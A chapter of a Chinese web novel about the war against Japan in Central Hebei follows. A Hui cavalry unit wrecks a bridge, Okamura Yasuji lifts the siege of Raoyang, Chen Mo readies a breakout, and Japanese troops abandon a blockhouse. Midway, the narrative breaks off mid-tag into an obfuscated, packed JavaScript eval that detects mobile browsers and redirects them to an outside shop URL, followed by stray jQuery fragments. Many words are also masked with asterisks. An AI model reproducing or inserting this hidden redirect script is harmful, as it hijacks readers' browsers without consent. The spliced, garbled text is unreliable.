第401章 解封的土地
作品:《一个人的长征》 【肃宁·回民支队驻地】
**骑在一匹白马上,手里提着那口雪亮的大刀。
他的身后,是数百名头戴白帽、威风凛凛的回族战士。
他们的目标,是沧石公路上的一座大桥。
那是日军增援部队的必经之路。
“弟兄们!”
**的声音洪亮如钟。
“王成政委说了,咱们这一仗,是为了给冀中的父老乡亲争条活路!是为了救咱们的陈教员!”
“咱们回民支队,从来没有怕死鬼!”
“**保佑!杀!”
马蹄声碎。
数百骑兵如同一股白色的旋风,卷向了那座大桥。
守桥的伪军还没来得及拉开**,就被这股旋风冲得七零八落。
大刀挥舞,人头落地。
这支有着传奇色彩的队伍,用最原始、最血性的方式,切断了日军的动脉。
大桥被炸断了。
巨大的水泥块坠入河中,激起冲天的水柱。
这一夜,冀中平原沸腾了。
从保定到石家庄,从沧州到德州。
几百公里的铁路线上,火光冲天,**声此起彼伏。
电话线被剪断,电线杆被锯倒。
铁轨被扒得干干净净,连路基都被挖成了大坑。
日军引以为傲的“交通网”,在一夜之间,变成了瘫痪的死蛇。
消息像雪片一样飞向北平。
【北平·华北方面军司令部】
作战室里的电话铃声,响成了一片,像是催命的丧钟。
参谋们满头大汗,进进出出,手里的电报纸堆成了山。
“报告!定县铁路段被毁!运输中断!”
“报告!深县据点遭遇**!请求战术指导!”
“报告!沧石公路大桥被炸!增援部队无法通过!”
“报告!津浦路……”
每一个报告都像是一记耳光,狠狠地抽在冈村宁次的脸上。
这位日军大将此时正站在地图前,脸色铁青。
他看着地图上那些密密麻麻亮起的红点。
那些红点不再是孤立的。
它们连成了一片像是一场燎原的大火,正在吞噬着皇军的控制区。
“怎么可能?”
冈村宁次喃喃自语。
“冀中军区的主力不是已经被打散了吗?那个陈墨不是被困在饶阳了吗?”
“这些部队……是从哪儿冒出来的?”
他无法理解。
在他的军事教科书里,一支被打散、失去了指挥中枢、甚至连饭都吃不饱的军队,是不可能组织起如此大规模、如此协同一致的攻势的。
这是违反军事常识的。
但他忘了。
这是一场人民战争。
在这场战争里,每一个拿起锄头的农民,都是战士。
每一个村庄,都是兵营。
只要仇恨还在,只要希望还在,这支军队,就永远不会被打散。
“司令官阁下。”
一个参谋长小心翼翼地走了过来。
“饶阳前线的**顾问发来急电。”
“念。”
“**顾问询问……是否继续执行对饶阳县城的合围计划?第26师团的主力,是否继续向饶阳集结?”
冈村宁次沉默了。
这是一个两难的选择。
如果继续**饶阳,或许能抓住那个陈墨。
但代价是,整个冀中的交通线将被彻底瘫痪,皇军的后勤将面临崩溃,甚至其他地区的控制权也会丧失。
如果不围……
那个心腹大患就会再次溜走。
“八嘎!”
冈村宁次猛地将手中的铅笔折断。
“命令。”
冈村宁次的声音充满了疲惫和不甘。
“第26师团,立刻停止向饶阳集结。”
“主力部队……回防铁路沿线。”
“确保护路,确保……交通。”
这道命令的下达,意味着饶阳之围,解了。
意味着陈墨的那步险棋,走通了。
与此同时,饶阳县城,天主教堂的钟楼上。
陈墨依然坐在那扇百叶窗后。
他没有望远镜,但他能看到。
看到城外远处的天空,那一片片被火光染红的云霞。
看到城墙上,那些原本紧张戒备的日军,开始出现了骚动和调动。
他听不到远处的枪炮声,但他能感觉到。
大地在震动。
那是无数颗心脏,为了同一个目标而跳动的声音。
“外面……动了。”
张金凤站在他身边,看着城外的火光,嘴唇哆嗦着,不知道是激动还是害怕。
“是啊。”
陈墨淡淡地说道。
他从怀里摸出那块怀表,看了一眼时间。
凌晨四点。
黎明前的最后时刻。
“老张。”
陈墨站起身,拍了拍身上的灰尘。
“咱们的援兵,把饭做好了。”
“现在,该咱们上桌了。”
他转身,走向通往地窖的楼梯。
那里,有五十支组装好的三八大盖。
这是他们将这些武器从棺材铺转移到这里
“准备突围。”
陈墨的声音在空荡荡的钟楼里回荡。
“咱们,回家。”
……
另一边翼中平原上的风向变了。
不是那种单纯的气象上的变风。
往常这个时候,风里总是夹杂着一股令人窒息,属于日本人的汽油味,还有那无处不在,烧焦了的房梁和尸体的味道。
那种味道像是一层看不见的铅板,死死地压在每一寸土地上,压得庄稼抬不起头,压得人喘不过气。
但今天不一样。
风是从西边的太行山吹过来的。
它越过了平汉铁路那道被炸得千疮百孔的伤疤,吹进了这片被封锁了数月的腹地。<b
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884160|183140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>这风里带着一股子生铁冷却后的腥气,还带着一丝久违,属于泥土被翻开后的清新。
安平县城以南,四十里铺。
这是一处日军设立的“检问所”。
也就是俗称的关卡。
平时这里驻扎着一个班的鬼子,还有一个排的伪军。
炮楼高耸,探照灯彻夜长明,大狼狗蹲在路口,见人就咬。
方圆十里内的老百姓,哪怕是去地里干活,路过这儿都得脱帽鞠躬,还得亮出那个令人**的“良民证”。
但今天晌午日头正毒的时候,这里的气氛却显得有些诡异。
那条平日里叫得最欢的狼狗,此时正趴在炮楼的阴影里,耷拉着舌头,尾巴夹在两腿之间,甚至不敢发出一声呜咽。
炮楼顶上的膏药旗,也不再像往常那样趾高气扬地飘着,而是蔫头耷脑地垂在旗杆上,像是一块用脏了的裹脚布。
“太君……这是要撤?”
伪军排长刘歪嘴,手里提着个茶壶,哈着腰,小心翼翼地凑到一个正在收拾行装的日本军曹身边。
那军曹脸色铁青,眼珠子里布满了血丝。
他没有像往常那样给刘歪嘴一个耳光,而是默默地将行军背囊上的扣带勒紧。
他的动作很快,甚至带着一丝不易察觉的慌乱。
远处的大路上,传来了汽车引擎沉闷的轰鸣声。
三辆满载着日本兵的卡车,卷着黄尘,从南边开了过来。
车并没有停,只是减速。
“上车!快快的!”
车上的军官挥舞着手里的小旗,声嘶力竭地吼叫着。
驻守炮楼的日本兵们,像是一群听到了地震前兆的老鼠,争先恐后地跳上了卡车。
他们甚至来不及带走那些刚刚从村里抢来的鸡鸭,就这么急匆匆地走了。
只留下一地鸡毛,和那个手里提着茶壶、一脸茫然的刘歪嘴。
“排长,太君们……走了?”
一个小伪军凑过来,看着绝尘而去的车队,咽了口唾沫。
“走了。”
刘歪嘴喃喃自语。
他突然觉得后背有些发凉。
平日里有日本人在,他觉得这炮楼是铁打的江山。
可现在日本人一走,他看着四周那一望无际的、深不见底的青纱帐,只觉得那绿色的浪潮里,仿佛藏着无数双复仇的眼睛。
这座孤零零的炮楼,瞬间变成了一座坟墓。
……
同样的场景,正在这片广袤的平原上,几十个不同的据点同时上演。
冈村宁次的命令是死板的。
为了保住铁路,为了保住那条给前线输血的大动脉,他不得不从这片刚刚“治安强化”过的腹地,抽调兵力去填补铁路线上的窟窿。
这是一种无奈的“拆东墙补西墙”。
而随着这堵“东墙”的拆除,某种被压制到了极点的力量,开始从地底下喷涌而出。

